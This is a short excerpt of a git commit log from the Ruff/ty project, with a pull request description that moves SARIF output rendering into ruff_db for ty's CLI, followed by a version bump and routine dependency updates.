This PR fixes astral-sh/ty#2484 by moving our SARIF rendering from
`ruff_linter` into `ruff_db` and
wiring that up as an output format for ty.

The first commit introduces the metadata and makes some other
preparatory changes to the SARIF
emitter in Ruff. The second commit then moves the emitter to `ruff_db`
and removes the remaining
Ruff-specific calls. The third commit then wires that up to ty's CLI.

Test Plan
--

Existing tests, adapted to `ruff_db`, as well as a new ty CLI test
2026-10-23 14:57:03 -04:00
astral-automations-bot[bot]andBrent Westbrook 30516b42ab Bump version to 0.17.2 (#29637)
Co-authored-by: astral-automations-bot[bot] <305554984+astral-automations-bot[bot]@users.noreply.github.com>
Co-authored-by: Brent Westbrook <36778786+ntBre@users.noreply.github.com>
2026-10-22 13:54:24 -04:00
renovate[bot]andMicha Reiser 6b161598cd Update phf to 0.14.0 (#29575)
Co-authored-by: Micha Reiser <micha@reiser.io>
2026-10-20 20:35:44 -07:00
renovate[bot] 2555405ab9 Update Rust crate camino to v1.2.6 (#29567) 2026-10-20 19:47:30 -07:00
renovate[bot] da8e8e24cf Update Rust crate clap to v4.6.7 (#29568) 2026-10-20 19:47:06 -07:00